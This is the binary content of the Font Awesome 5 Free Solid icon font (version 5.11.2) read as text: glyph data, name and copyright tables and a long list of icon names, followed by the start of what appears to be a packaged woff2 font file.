	Ao.!/"x/!.&/!8(&      @  < Z  6+"&=4&'&+"&=466+"&=4&'&+"&=466+"&=4&"+"&=46SS	 	oSf	 	lW	 	B19T	 	_N5 	 		 	+KQ		Ve		tZtV		3NM8		JrW0				#9      	 " ; T   !546;26&/&"?6/76&/&"?6/76&/&"?6/2'.=#+"&=#+"&=!26=463 ^BB^	)) 	`		`	 			 @@B^^,	@'1 +p		PP		p		@	      / G  %2#!"&=4632+"&=463!2#!"&=463'"&4632632632+"'p				@				 				P<TT<=++=(D.BB.<%^%P				`								TxT--*"B\B            / A   2"&4264&""&54754622654'54&"7"&54675462xP88P8S TxT B\BB/ ( `(		8P88PH(2<TT<1).BB/!((!N		         / A   2"&4264&""&54754622654'54&"7"&54675462xP88P8S TxT B\BB/ ( `(		8P88PH(2<TT<1).BB/!((!N		      + ;  %2#!"&=46;#"3!2=4+5!4>3!2?6/&'&`@



 	@J_)``@@@@	K^)     @ , X   %#&'"'"'"&=46767>7>7627#&'"'"'"&=46767>7>7627#&'"'"'"&=46767>7>7622+$)l+)l+)
!
X

Y
!+$)l+)l+#,
!
X

Y
!+$)l+)l+#,
!
X

Y
@	 	 					 	 					 	 				       % =  "&462#"/&4?7#"'.?'6#5&/.>2?6B//B/
0	.=u.	0
)) )'b') /B//B'!
@9339@
!'  

 		        2 : B  !46762+"&547"'"&54>7&5!5463 264&" 4&"2o 0+!h		0<"/B/!F!/B/<&`6`"
\	 	@K8+!//!		!//!!8K@&    B 
    g o  "&'62&.'632767632&7'&'&'&''&4767>.&76767&547632>54'&6264&" 	'V'	%,54,$k6+`2+=66>+2`+6
)F2!7 )
((P

P/C**C/P =	Xb	  bX= ?13H!8"0@((       4 I  7&=46;22654.'&=467+"&5.'.=46+"&5.'".=46:D	<)Ej
0
(	0z	 	a	
Sv	 	S9
d=)<	WD


2z
	a	 	`vS
:R 
    	  7  !#!"&7;26=4&+"%2!546;546;23546;2@	`		`	P@0	 		 	`		`		000		00		0      	  7  !#!"&73!26=4&#!"%2!546;546;23546;2@	 			P@0	 		 	@		@		000		00		0  " ) - 1 5 ; C  #"/&67%>'&#"#"/&6?63267'7'?'?'77&'67')6
 a				!%,.O=<<Q	-
$=d9w!6718>='''.		      *  '&&'&7276/>76/&67*."'f9137SDX!"&#b.&291B		
28 &"!XD   
 + ; K [ _ o      %#!"&=4?>;5#"&=463!2+32;26=4&+"";26=4&#'#";26=4&'35#26=4&+"3;26=4&+"54+";2754&+";26754&+";26	@U`		 		`				 				0				(				 								0				E[	[@	`		`	@				G				P				 				@				x				W				       + @ V  72/"/&4?'&637"&=46762#/&=46;26+"&?'&4?62
cc!
cc!cc
p
p!cc
p!cc@
p!cccc!p
p
cc   B     C  #'32%#73#5"&?6;2++"&=!+"&='#"&=46;'!0ac	~~	c			 		 			  ``@	 						 	        	  % ? N ^  #53##7/32210'&/&"&?6;#+"&='#"&=46;'%"&54676>'&'&'32=d~!c'	c51	 			%4^^D4('?3&XH
>`` K7H6			 	 !`A]]A&m/$(?/S!('1         3  2+5##5##5##5##"&=46;546;546;232		P @ @ @ P		0	0		0	 				0	0		0	0       7 > E e o y  7#"&546;'&?6'&6?67>763253#"&53#2#5+#546;&54632632#3&#"7654&#"36				  		)( 7!!7 (5		5`		66`` ``,KK,0		0  9 = A  %'&6?'#"&/#"'/&7>7.?>76767'7''(??(''%WrrW%'_$p$_C	h.'KK'.h	C	fW(
00
(Wf	 G'@..@'      2#!".'&63!!889e@       c s   2"&44&#"+;2=732;2?6;2;2=4?6=46;2+";2;6$;2?6=4&">7#"/&+'&+";2ΑΑuS(	

	% 

		 
	}5W	+ +	ΑgSu	
	
		
			!
	8-
%
      `      %2#!"&=463%2#!"&=463		 				 			 		 		 		 	          +"&546;2+"&546;2`	 		 		 		 	0				 				      + 3  .767>7676?6?62 264&"		/$L##kS#&"7L/		((		/L7"&"Sk##L%/		((    "/&6?>'7'6$!!$"b&`0`"&a"v%i((i%#W@@h#       @ j  "&4622462"&"&462&54'&>367>'&'&636762'&'.7676&'"'6'&5<546((@(((((@	72		94	27	
	49	 ((((`((=3
:2	1:+3	
      / 7  %+"/#"&'.+"&=4>?6264&".	3
./	7")%B0
0%zt(	@ &RQ?bU;K
6!8     "'"/"/"'&63!2WB.".,$W,l}     @      ' 0 8  !>32#47%#534'3+#."#553#"&62#54@'~J`Bp?B 2:F:2P8~;EC=_=C@` ## ``8(``(      %2#!"&=463$!'&>76p				e(H0@te 	@		@	"5W:e@:         ( : B  &'&'&6;2+"7&'&'4>;2+"2++"&=463264&+#

n#
.BB.8((8p.#1,#1, B\B(88((`       " /  %4'7>#"'.?2&"&462%"&5>76H&Q,6	Q7|7Q-((	6,Q&, `8
D ((
8` ,        & . 6 >  %4'7>#27"'.7'"&7676"&462"264"&4628*4$*"H"C
4*ΑΑlll#C*B6

Cy
B*C#Αllll         ) 9 V  "&462"&462++"&=#"&?6727%2+"&5463++"&=#"&=46724&&4&Z4&&4&?7
0
7.8		 		|

P

8@&4&&4&&4&&4h

h	 			



   7 ; ?  %"//"&46327'&67>7'&4?62762%7'7'		a		P
kl'Z(
Q		a		P0

/

0EIEIEI		a		Q
(Z'lk	Q		a		Q0

/

09EIEIEI      - B  7.7>7&5462#"'+"&5.'.=46+"&5.'".=46t9b uz	 	a	
Sv	 	S9
fta9u>z
	a	 	`vS
:R 
         2#!"&575#35#35#@&& & 000&&&@``````         # * . 5  46;#!"&575#354&+326=#35#;5'!5%35#"&& &@  @ @  @ &&&@@ @@ @@ @`@@@ @     ( 2 O   2"&42+"&46;264!6"/&627"&4?"&46;2"1"&='&6?|(()	`		`	'DD=\		0R=N((\				DD	\	
1S=YSN8     $ C   "&462#"'%.>7'&776'&76776/&//'((%x			.Kk(
1#>R04	: s/`((fEK5(#JFa 3		9    @  . B N   "&4622#!"&46;0&5&6?63232647'.?'&3737#"/d((* 

+6
(%,G*,F
U
%'4>+! =`((
*
(5"Q2.W

[)N$	L     C  %#!"&=463!2654/&?6%5"&46;2;26=32###5##5.e,			



&"	/= &`8(@@*6a&'		

w	,&@`(80004E       6 W y  2#"'#"&'&>7&542654/&54;2=4+"+"3754&+"'&+";2=2?;232654/&54;2=4+"+"3Ԗj83AL9	

	
0zz319JVh		##		hD88D      E Q   "&462'76#"'%&'&>&'&6?54?'&/&>#"'&7((TB4Z		!&J#*		?o
<U`((?'f"!			5(:4S
--=

    T \ d l t    +"'.547&507'.?>54>;2167&5462704=46;276$264&"264&"6264&"6264&"7654&"6264&"!	#%c!&,	8	8P8	8					)																(7"-.QC(?,7	.!(88(".		*						7			7			O			2			        [ ` l  62"&462"&462"&462"&4"/&=##!"&54>7546;546;2354?623'264&#!"3n^^^$%)+B. .B O@)%$@zD: H#%$*:.BB.(	[p3:*$% f S`@((        2++"=#"=43%2#!"=43t8h 8888      % 1 9  #+"&?.5475#"&=463!2;2=4+"264&"p /((/ 		`		006tRRtR2TGGT2				   / 9 A  %"/.7'#'76'"'&7>76'&"&4?264&"5
uk>`@k04R*I%JDK	|5%u45u0k@`>k6R=+	KDJ$JR {%5   ) - 1 5 =   "&462232#!"&=46;5"#"'&67%65#%35+3"&462-` ```c<\S;``````           "&54676>'&'&'32D4H_I9*
$:\K8+0+__6D5: Y'	Cu ((8E    A , X  7'&67670767>767632%"#"/67>7>7>7675#$	
$7E #3
	%.&%
L	
$7E %C(
	%.
	 !5#p!#
J$'

	%
%&!
J6'/

	%&!!	!       2 :  %#!"&5463!2;;2=32=4+54+"#"5!"3

)77)F808808Z	4
	7)@)7088088@    @   2##!"&5".546 AoH(#	2;  	>k       	   5!#!"&5!%630 @,Y{ Z   A  , H  3#!"&=26554+54+"#";;2=327#"/&"#"/&547%62 	`	;808808 M		D088088

       0  2#"'#"547>7&5454+54+"#";;2=32Ԗj83AL9`808808zz31:IVn088088     % .  "/&4?627"/&4?6?7'767-nxffn-7
D
P	7-nffxn-7{
D
	P         2"&546b]2pp2u7PppP7          ' / 7 ?  %2#!"&4632#!"&=4637"&7>2#&"264&"264"264`	&&	~~>									((	&&	42BB24p			)						     @  %+"&/&=46?2=4>3762=463212=464/	

'$S4J	L  2	         #  %!5467546;272#!"&=463@B5)	`	)5B		 		@@;aRp		pRa	 		 	      A K U  #"&5467>264&"2767>7>7>7>76'.?6&/		
"!/
`
!!(	 ' ' 	 ' ' |33!

/!"
`	i
' ' 
' ' 33         2#!"&46;&5462'!"&pTxTc c ((<TT<     % ) A  7"=4;54;232++"=%!463!2!2#!"&=46;;26780880  @	& &	=088088P  `	&&	         # 3  2#!"&54635#"3754&+326754&#!"3!26&&&&`P			PP	@& && &0			0	@@      1  %3#"&4632>77'#5'6326'&54?632Kk%KjL!!1$56YK$(
'"G@)!.!#+2-,&B9N"+$7         & . 6  .'7>#"&5476264&"6264&"264&"Zb9R]
3XK
rC{	_Y]P9qJVi
L{       	  7  !+"&7;;26=326/&"72#!"&=46;76;25E9	 	9Z		`		x	r	Sp		p^	 		 	     	  7  !#!"&7;;26=326/&"72#!"&=46;76;2 [9	 	9Z		`		x	r	Pp		p^	 		 	        7 ? N  7"&547676=7+"'7;;2=32=4+54+"#"26=#!"&5467:	

R%^%,(/B/6K""K6_	<$)1001)$<  ] !//! N6""6N_     -  #"&5#+"&=46;546;23546;2+ܘ`		p`		p \	 		 	     ' / 7 ? G   "&462'"&='&54?63232+"2"&4264&"$2"&4264&"((4);*Rp		G5@6jKKjKf4&&4&jKKjKf4&&4&`((!2
o6
	`9 KjKKju&4&&4KjKKju&4&&4           2#!"&5463#3'#335#35#`@         / ? O _ o         /?O  72+"&=46;2+"&=46;2+"&=463!2+"&=4632+"&=46;2+"&=46;2+"&=46372+"&=46372+"&=4632+"&=46372+"&=4632+"&=4632+"&=46;2+"&=46;2+"&=4632+"&=4632+"&=46372+"&=46372+"&=46372+"&=46;2+"&=463		 				 				 		 		 				 				 				 		 		 		 		 				 		 		 		@		 				 				 				 				 		 		 		 		 		 		 		 		 				 			 		 		 		 		 		 		 		 		 		 		 		 		 		 	`	 		 		 		 		 		 		 		 		 		 		 		 		 		 		 		 		 		 		 		 	`	 		 		 		 	`	 		 		 		 	       / ? O _ o   72+"&=463#2+"&=46;2+"&=46372+"&=4632+"&=4632+"&=4632+"&=46372#!+"&5463		 		@		 				 				 		 		 		 		 		 		 		 			 	 	 		 		 		 		 		 		 		 	`	 		 	`	 		 	 	 		 	`	 			     $ ,  2/&?#"&'&6&546766264&"a=Z{%A'#*=Z{Q<#D@Q<#*(E-{Q<#*=Z{     . 6 L j  7'&6767>"2+"&=46;7>;2264&"%2"&?#"&?6;26"&46325"&46325467ua5

5a
0H[,,\>L'&5%%p&5%%c>>c`


,,VSk	3`(0l(k        #  %#" 54>?6327632
	h0	<h21Vh	
p12h<	     /  2#!"&5463454/&#".'7654/&#"#327P	FA&
Ax`
&AF	x        ( 4 @ P X _  2+##546354+";254+";2=4+";2=4+";22#!"&5463"2645''`H				`												M ` @@@`g						q			q			0 @`` @         ; ?  %2+"&=46;7#"'&54?6325463!2+"&=#'7#P				 C	5s			 	v1C v 	 		 	P4*Y,		`		 4`    5 O R  72"/&6;46;27"&=4?#"&=46;232#+"/#+"&54?6;23'PP0	 		=8			=8			G	;*4 ```0		Ѐ	
F	 		
F	 			e0   5 O R  "&?62++"&5"&=4?#"&=46;232#+"/#+"&54?6;23'PP0	 		=8			=8			G	;*4  ``		0@	
F	 		
F	 			e0        / ? U  "&=46;2#"&=46;2#2#!"&=4635"&=46;2#!2"/&6;46;2		@		@						 						 PP0	 	`	 		 		 		 		 		 	@	 		 	``0		     / ? U  "&=46;2#"&=46;2#2#!"&=4635"&=46;2#%"&?62++"&5		@		@						 						`PP0	 	`	 		 		 		 		 		 	@	 		 	``		0      5 J R  72"/&6;46;22+"&=46;5#"&54?6;26&/&767.7>264&"PP0	 			`			
0	6(>*,
	$+
!```0		@	 		 	@	 		p}1'3>=&\      5 J R  ++"&5#"&?622+"&=46;5#"&54?6;26&/&767.7>264&"kP0	 	0P)		`			
0	6(>*,
	$+
!`		0`	 		 	@	 		p}1'3>=&\     A   ' D G \  %"&=46;2#'3264&#3264&#'+"/#+"&54?>;23'"/&4?62762		K 2	
2!3(

(8

D	X	D		?.p-7		*	# +0`0	$$	
Ep-8     @   &  2#!"&4623.546264&"264&"<TT<<TTxT
p
T/B//B`B//B/@TxTTxTT<//<ToB//B//B//B     5  %"'63227632".'&5463232>7632GG';(;4BttB4	!47K'6d?7	D5++5D	
     -  %3!"'&7>32#"./&#"7>?632b!-9<&Z:5)=1$+b6@%U!FV ,$	T+A!)      	    =!+"&#546;2#5^B@B^^B@B^`B^^ B^^B            2"&4264&"2"&4264&"V==V=^OΑΑjKKjK(=V==VCΑKjKKj     V         6                                H       &             
 ,v                     3       m                	   4    	  2 Q  	  
   	  @   	  2  	  Lb  	  ,  	 
 X  	  .  	  &  	  
'  	  29  	  &  	  
 C o p y r i g h t   ( c )   F o n t   A w e s o m e  Copyright (c) Font Awesome  F o n t   A w e s o m e   5   F r e e   S o l i d  Font Awesome 5 Free Solid  S o l i d  Solid  F o n t   A w e s o m e   5   F r e e   S o l i d - 5 . 1 1 . 2  Font Awesome 5 Free Solid-5.11.2  F o n t   A w e s o m e   5   F r e e   S o l i d  Font Awesome 5 Free Solid  3 3 0 . 4 9 8   ( F o n t   A w e s o m e   v e r s i o n :   5 . 1 1 . 2 )  330.498 (Font Awesome version: 5.11.2)  F o n t A w e s o m e 5 F r e e - S o l i d  FontAwesome5Free-Solid  T h e   w e b ' s   m o s t   p o p u l a r   i c o n   s e t   a n d   t o o l k i t .  The web's most popular icon set and toolkit.  h t t p s : / / f o n t a w e s o m e . c o m  https://fontawesome.com  F o n t   A w e s o m e   5   F r e e  Font Awesome 5 Free  S o l i d  Solid  F o n t   A w e s o m e   5   F r e e   S o l i d  Font Awesome 5 Free Solid  F o n t   A w e s o m e   5   F r e e  Font Awesome 5 Free  S o l i d  Solid                                  	
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTU   VWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ " 	
 !"#$%&'() *+,-./0123456  #789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrs  tuvwxyz{|}~  	
 !"#$%&'()*+,-./0123456789:;<=>?@AB CDEFGHIJKL MNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ 	
 !"#$%&'()*+,-./0123456789:;<=> ?@A BCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~glass-martinimusicsearchheartstaruserfilmth-largethth-listchecktimessearch-plussearch-minus	power-offsignalcoghomeclockroaddownloadinboxredosynclist-altlockflag
headphones
volume-offvolume-down	volume-upqrcodebarcodetagtagsbookbookmarkprintcamerafontbolditalictext-height
text-width
align-leftalign-centeralign-rightalign-justifylistoutdentindentvideoimage
map-markeradjusttinteditstep-backwardfast-backwardbackwardplaypausestopforwardfast-forwardstep-forwardejectchevron-leftchevron-rightplus-circleminus-circletimes-circlecheck-circlequestion-circleinfo-circle
crosshairsban
arrow-leftarrow-rightarrow-up
arrow-downshareexpandcompressexclamation-circlegiftleaffireeye	eye-slashexclamation-triangleplanecalendar-altrandomcommentmagnet
chevron-upchevron-downretweetshopping-cartfolderfolder-open	chart-barcamera-retrokeycogscomments	star-half	thumbtacktrophyuploadlemonphonephone-squareunlockcredit-cardrsshddbullhorncertificatehand-point-righthand-point-lefthand-point-uphand-point-downarrow-circle-leftarrow-circle-rightarrow-circle-uparrow-circle-downglobewrenchtasksfilter	briefcase
arrows-altuserslinkcloudflaskcutcopy	paperclipsavesquarebarslist-ullist-olstrikethrough	underlinetablemagictruck
money-bill
caret-downcaret-up
caret-leftcaret-rightcolumnssort	sort-downsort-upenvelopeundogavelboltsitemapumbrellapaste	lightbulbuser-mdstethoscopesuitcasebellcoffeehospital	ambulancemedkitfighter-jetbeerh-squareplus-squareangle-double-leftangle-double-rightangle-double-upangle-double-down
angle-leftangle-rightangle-up
angle-downdesktoplaptoptabletmobile
quote-leftquote-rightspinnercirclesmilefrownmehgamepadkeyboardflag-checkeredterminalcode	reply-alllocation-arrowcropcode-branchunlinkinfoexclamationsuperscript	subscripteraserpuzzle-piece
microphonemicrophone-slashcalendarfire-extinguisherrocketchevron-circle-leftchevron-circle-rightchevron-circle-upchevron-circle-downanchor
unlock-altbullseye
ellipsis-h
ellipsis-v
rss-squareplay-circleminus-squarecheck-square
pen-squareshare-squarecompasscaret-square-downcaret-square-upcaret-square-right	euro-sign
pound-signdollar-sign
rupee-signyen-sign
ruble-signwon-signfilefile-altsort-alpha-downsort-alpha-upsort-amount-downsort-amount-upsort-numeric-downsort-numeric-up	thumbs-upthumbs-downfemalemalesunmoonarchivebugcaret-square-left
dot-circle
wheelchair	lira-signspace-shuttleenvelope-square
universitygraduation-caplanguagefaxbuildingchildpawcubecubesrecyclecartaxitreedatabasefile-pdf	file-word
file-excelfile-powerpoint
file-imagefile-archive
file-audio
file-video	file-code	life-ringcircle-notchpaper-planehistoryheading	sliders-h	share-altshare-alt-squarebombfutboltty
binocularsplug	newspaperwifi
calculator
bell-slashtrasheye-dropperpaint-brushbirthday-cake
chart-area	chart-pie
chart-line
toggle-off	toggle-onbicyclebusclosed-captioningshekel-sign	cart-pluscart-arrow-downshipuser-secret
motorcyclestreet-view	heartbeatvenusmarsmercurytransgendertransgender-altvenus-doublemars-double
venus-marsmars-strokemars-stroke-vmars-stroke-hneuter
genderlessserver	user-plus
user-timesbedtrainsubwaybattery-fullbattery-three-quartersbattery-halfbattery-quarterbattery-emptymouse-pointeri-cursorobject-groupobject-ungroupsticky-noteclonebalance-scalehourglass-starthourglass-halfhourglass-end	hourglass	hand-rock
hand-paperhand-scissorshand-lizard
hand-spockhand-pointer
hand-peacetvcalendar-pluscalendar-minuscalendar-timescalendar-checkindustrymap-pin	map-signsmapcomment-altpause-circlestop-circleshopping-bagshopping-baskethashtaguniversal-accessblindaudio-descriptionphone-volumebrailleassistive-listening-systems#american-sign-language-interpretingdeafsign-language
low-vision	handshakeenvelope-openaddress-bookaddress-carduser-circleid-badgeid-cardthermometer-fullthermometer-three-quartersthermometer-halfthermometer-quarterthermometer-emptyshowerbathpodcastwindow-maximizewindow-minimizewindow-restore	microchip	snowflakeutensil-spoonutensilsundo-alt	trash-altsync-alt	stopwatchsign-out-altsign-in-altredo-altpooimages
pencil-altpenpen-altlong-arrow-alt-downlong-arrow-alt-leftlong-arrow-alt-rightlong-arrow-alt-upexpand-arrows-alt	clipboardarrows-alt-harrows-alt-varrow-alt-circle-downarrow-alt-circle-leftarrow-alt-circle-rightarrow-alt-circle-upexternal-link-altexternal-link-square-altexchange-altcloud-download-altcloud-upload-altgemlevel-down-altlevel-up-alt	lock-openmap-marker-altmicrophone-alt
mobile-altmoney-bill-altphone-slashportraitreply
shield-alt
tablet-alttachometer-alt
ticket-altuser-altwindow-closebaseball-ballbasketball-ballbowling-ballchesschess-bishopchess-board
chess-kingchess-knight
chess-pawnchess-queen
chess-rookdumbbellfootball-ball	golf-ballhockey-puck	quidditchsquare-fulltable-tennisvolleyball-ball	allergiesband-aidboxboxesbriefcase-medicalburncapsulesclipboard-checkclipboard-list	diagnosesdnadollydolly-flatbedfile-medicalfile-medical-alt	first-aidhospital-althospital-symbolid-card-altnotes-medicalpalletpillsprescription-bottleprescription-bottle-alt
proceduresshipping-fastsmokingsyringetabletsthermometervialvials	warehouseweightx-raybox-opencomment-dotscomment-slashcouchdonatedovehand-holdinghand-holding-hearthand-holding-usdhandshands-helpingparachute-boxpeople-carry
piggy-bankribbonrouteseedlingsign
smile-winktapetruck-loadingtruck-movingvideo-slash
wine-glassuser-alt-slashuser-astronaut
user-check
user-clockuser-cog	user-edituser-friendsuser-graduate	user-lock
user-minus
user-ninjauser-shield
user-slashuser-taguser-tie	users-cogbalance-scale-leftbalance-scale-rightblender	book-openbroadcast-towerbroom
chalkboardchalkboard-teacherchurchcoinscompact-disccrowcrowndice	dice-five	dice-fourdice-onedice-six
dice-threedice-twodoor-closed	door-openequalsfeatherfroggas-pumpglassesgreater-thangreater-than-equal
helicopter	kiwi-bird	less-thanless-than-equalmemorymicrophone-alt-slashmoney-bill-wavemoney-bill-wave-altmoney-checkmoney-check-alt	not-equalpaletteparking
percentageproject-diagramreceiptrobotrulerruler-combinedruler-horizontalruler-verticalschoolscrewdrivershoe-printsskullsmoking-banstore	store-altstreamstroopwafeltoolboxtshirtwalkingwalletangryarchwayatlasaward	backspacebezier-curvebongbrushbus-altcannabischeck-doublecocktailconcierge-bellcookiecookie-bitecrop-altdigital-tachographdizzydrafting-compassdrumdrum-steelpanfeather-altfile-contractfile-downloadfile-exportfile-importfile-invoicefile-invoice-dollarfile-prescriptionfile-signaturefile-uploadfill	fill-dripfingerprintfishflushed
frown-openglass-martini-altglobe-africaglobe-americas
globe-asiagrimacegringrin-alt	grin-beamgrin-beam-sweatgrin-heartsgrin-squintgrin-squint-tears
grin-stars
grin-tearsgrin-tonguegrin-tongue-squintgrin-tongue-wink	grin-winkgrip-horizontalgrip-verticalheadphones-altheadsethighlighterhot-tubhoteljointkiss	kiss-beamkiss-wink-heartlaugh
laugh-beamlaugh-squint
laugh-winkluggage-cart
map-markedmap-marked-altmarkermedal	meh-blankmeh-rolling-eyesmonumentmortar-pestlepaint-rollerpassport	pen-fancypen-nibpencil-rulerplane-arrivalplane-departureprescriptionsad-crysad-tearshuttle-van	signature
smile-beamsolar-panelspasplotch	spray-canstampstar-half-altsuitcase-rollingsurprise
swatchbookswimmerswimming-pool
tint-slashtiredtoothumbrella-beachvector-squareweight-hangingwine-glass-altair-freshener	apple-altatombonebook-readerbraincar-altcar-battery	car-crashcar-sidecharging-station
directionsdraw-polygonlaptop-codelayer-group
microscopeoil-canpoopshapesstar-of-lifeteeth
teeth-opentheater-maskstraffic-lighttruck-monstertruck-pickupadankhbiblebusiness-timecitycomment-dollarcomments-dollarcrossdharmachakraenvelope-open-textfolder-minusfolder-plusfunnel-dollargopuramhamsahaykaljedijournal-whillskaabakhandalandmark	mail-bulkmenorahmosqueompastafarianismpeaceplace-of-worshippollpoll-hpraypraying-handsquransearch-dollarsearch-locationsockssquare-root-altstar-and-crescentstar-of-david	synagoguetorah
torii-gateviharavolume-muteyin-yangblender-phone	book-dead
campgroundcatchair
cloud-moon	cloud-sundice-d20dice-d6dogdragondrumstick-bitedungeonfile-csvfist-raisedghosthammerhanukiah
hat-wizardhikinghippohorsehouse-damagehryvniamaskmountainnetwork-wiredotterrunningscrollskull-crossbonesspidertoilet-papertractoruser-injuredvr-cardboardwindwine-bottlecloud-meatballcloud-moon-rain
cloud-raincloud-showers-heavycloud-sun-raindemocratflag-usameteorperson-booth	poo-stormrainbow
republicansmogtemperature-hightemperature-lowvote-yeawaterbabybaby-carriage	biohazardblogcalendar-daycalendar-week
candy-canecarrotcash-registercompress-arrows-altdumpsterdumpster-fireethernetgiftsglass-cheersglass-whiskeyglobe-europe
grip-linesgrip-lines-verticalguitarheart-brokenholly-berry
horse-headiciclesigloomittenmug-hot	radiationradiation-altrestroom	satellitesatellite-dishsd-cardsim-cardskatingskiingskiing-nordicsleighsmssnowboardingsnowmansnowplowtengetoilettoolstramfire-altbaconbook-medicalbread-slicecheeseclinic-medicalcomment-medicalcrutchegg	hamburgerhand-middle-fingerhard-hathotdog	ice-creamlaptop-medicalpager
pepper-hotpizza-slicetrash-restoretrash-restore-alt
user-nursewave-squarebiking
border-allborder-noneborder-stylefanicons	phone-altphone-square-altphoto-videoremove-formatsort-alpha-down-altsort-alpha-up-altsort-amount-down-altsort-amount-up-altsort-numeric-down-altsort-numeric-up-altspell-check	voicemail
hat-cowboyhat-cowboy-sidemouserecord-vinyl                                  k%    ٮ)    ٮ-PK     N\]D5  5    webfonts/fa-regular-400.woff2nu [        wOF2     5     0  4J|                    ?FFTM` Z
DQ6$T6  [+ k5㘥 s)G+xf)l#{fhʆ6P?mٶzv!`!'->տaZZS:`7=jM(So/Vzy[`URz}_>"ww[X=Lbh['Pf(o]Yjm-G]cYuk
׋CK8^)ӡlzPdՄ&(#0PΏ׍K>?
)Pͷ.%\wLi`LeF@L(kĪe:fKL*K	oM? P0ʩ5sʹ?Ia|zZ~|F_͗le2JiIiK[ޘG(9gx	Fwz}@aIGE$IvdGIl/9fGdw>08N>0GDE+Zjh1Eݳ+pUvY;h% VQU>X0Aqp,i=Cf`k9D¹k6~tݹRRy@g%!FjN ]!$1dG\ dM)uiL.a	u,§eۗ&[&h0L,M~o^90,lL2/s!w4?zdkE]f٥ɞ^Mdsϕ|\k!'-;,NFv9Ct[4eIMnt+]"g8񎱧=lhu+Xby^nh:,T;+3=|<7OtT:ܡu%߹9qǟ+.AC4#Fd|,̀)4Yܴ2CG(8ёr,W#{(=0G|ldA+``$&USaq8$ <v,10EH/廙׍&4&˸ K3+.m28lG
{J[Mv!
{ECD6a3 Axݴƺ^eBil;qL<O *|lڊZN9pS`|Au_,h':ŬAni~HN[=rHiۋ/n5(e:<prLz\={jh" s{~>Py*AZ)J!tBT1]3]n2|\HȈľ˒h=zbr]O'g׋XZgNBK4$1O51p
Ҙڙf*
'q7|,-~FJ3Xvq!>~.˲-bYMTن{`CFx% a&,bo_px,q!rd4`-K:M~<"f(t0ֆN
&V)%F) M?Ew?C	7LCjX*+3"2R+6|$:`PE0W>cPA>e
Z:jYdpGjĩ6}yJ?r ?(lvYp|xZiV:@@q{W!>%)!5$RJ ]3pb	1gFsTӸ)72TX-޴x̕Q^*܆kUkˣ q:bn*p/)TMٕB
rqoBJ?r<gWRV8{=,<(
tCJq,0%tQF<XCWJiΪhE=
ٸ:w
p+\.SH[t^HgΟ_w޸]S^I<0۟K޿Wr7&كɥ
׮9oHRK}w-E+qkډe8LIkxVShu[rbɟ~g1՘zTYcVA}j
Q+=Nxs	UEpDj³2i&輢ǩ$+۽ZE:I~G(wpWLS# O_hhg	~6dJӉFlidw^녩'б]64yC0爷 hP}IXɽY'\Sa		S={Qyu3ۓXŚF[?bK$*DMA'\97Q躎S[sUNa"|U+{F㶽&mM%_-)D+PE<5mkq($C4-O4cdr
mc[mԭMB`7LI<| :TVƟEjXCԻi!@jP_QKh!|:uA?oC7؞^	^I97#vAMYעUe@TV髺ea^k+d[DYyMV=wuUh3=S%:_qXLEt IPÏ@j~,{jXyhDMA|Ƚl>#<ퟎ!6 O
ǉx0ճ~r&&r2A(VKjZom(3ǙZ?jT-"JZ/ltlˬ%eE]1OEB-E8 oFΤ=xkRUgTERݿ֐SAvn6Q:o Xyu9zѐ/0`1%ŕ: C,hu.`{K
:M+:^ֱB7wȩv2¾[HJ- '+nC9o	t2MѮ[`%"Y(jD9?֊Xzs`멷UMݷKp]9ֿ3UgxX\<&hEW5c6zO۪u[̀%`@5եHbI*dDTwtQ>	f>A9~TV."F1n+רPDeNuw91@ߙENXޜ!lQn" BJsH|ʍ#! ]kH?[4UlUКqt\OȲOqtvꅶjiϊ`nZ499}7iH1w+9#OXtűgt Ny}l\>Oڤ[B:b		?v̱e-kw58@߶mѾU[oٹ0(ɳCʠUo7AAL$AAAsi|	4~oM>5ཐxOGOꒃ/r|̔\q(2CyA 6 5İ6x0im! b}4wć-WB%	5	]r8
ҫa%kDL%&#ZNB\_KF*` 0-xksx;HНeL19Cf|4;Ѝ[hz*JQ ~0EzO8x`B/:l"Д!otAǋ%k:ܳ!ZX%hajn;RM4T/:'qfƒ3^ǵŋ$9o{hy<8מd;{) N[X&Qa84Rm!+zP %{2^+N@zK S{<w9S AŁ΃SrTM67zQ@j^!k/ZȾԨ\qv~Yxj򤳟Y0QOZ9iU;^Yav:S1!DY\-t-zlS
d%m,(=R d!fm`5`X3q,J޷ 	;(@X=u?ÂwC
rúaEB^_bbӈيYrw~K|H1&b;5]>5/Gk^oKюR &̾5\U&'Q>`tKf=^SS'*P=G'P؈zmj6,#9=R@fҟlWRs2 ˗uYZP汰DΉrzi=pÊڐ+'5Ϲxg;Xl/u=CslrdER0'm*n掔6S0?(&UK0i8ؽuWм0kJsPؘvO1RMvwe~V,cL%tۆ{ft4^-^zV̛&ҙQΓhB5OT9з8y/Q4MnudO&@rO\sԵ=BxouZXr6[Pqڈ&-sa@.DZqn&-澂E K,lg3
#:Ͳ<TA3dC0VIM@u]`낲6Z}	9l̗<L?1et+uTDTfV<!U?`aVN*e--R.HJџt́~*T9Hᚅy~XׂY\U1de,d6Rg4Q{۵%iſqIhS.I7X
^^˦v:D|<+>t܄ol>ʒӶkK>ϑ}VTzDѰF>ELE#B-9j$ցr1- LqdTx
IDDSTuY&$9+ܴ[mVh7Na{sVKɱkO95xx6,(<"H.d@.՚	oi~<U.w[[˰_*sGeOnd\h1sAg=yؑUxkw%b)ѥ$aQ-0J2`.w}ޖ5MaȆd$+H*ŕb#X^(=ZgJ۳S$J;ſ]u3.?&ܥhdHt.pYZ^Sbjk? K,_L	г4+\l*l&?0V[gITc#%Z>%h oub@)qT?f[}.iJ(S&5
!TsZx\xbր>XE[Лj;`&?aL">J'Up[yT8]
U/P4X$a9θF$Ymn#.韤gvp/Kg}悻#+HA:Ht6*{q0T&;8Uz.T~+e+xcAYbFN`f{Tzz9Ĵ<QDq"1=0s~wl;{LchG?w\=A6'>ZAs32]cux[xU/uY1ߛ!/D5o[DtQPa-
ySar~̱QrW8bW;A)M}܈l#l13~9scJalR/;
